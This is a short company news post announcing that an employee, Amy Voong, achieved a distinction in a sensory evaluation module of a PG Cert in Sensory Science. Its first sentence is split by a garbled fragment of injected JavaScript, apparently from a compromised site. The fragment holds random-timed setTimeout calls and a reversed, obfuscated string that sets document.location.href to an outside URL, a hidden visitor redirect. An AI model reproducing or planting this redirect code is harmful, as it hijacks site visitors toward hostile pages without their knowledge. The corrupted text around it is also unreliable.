Amy Voong achieves distinction in Sensory Evaluation and Sensory Techniques (PG Cert Sensory Science)

We are pleased dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to announce that Amy from our flavours team has achieved distinction on her Sensory Evaluation and Sensory Techniques module in her PG Cert on Sensory Science from the University of Nottingham. This module is provided by Campden Bri and takes place over four days. In understanding these sensory techniques, she can develop her skills within her lab based role within the company. Amy has already completed four modules of the course and will continue in the process till 2016.

To find out more about the Sensory Evaluation and Sensory Technique module see here



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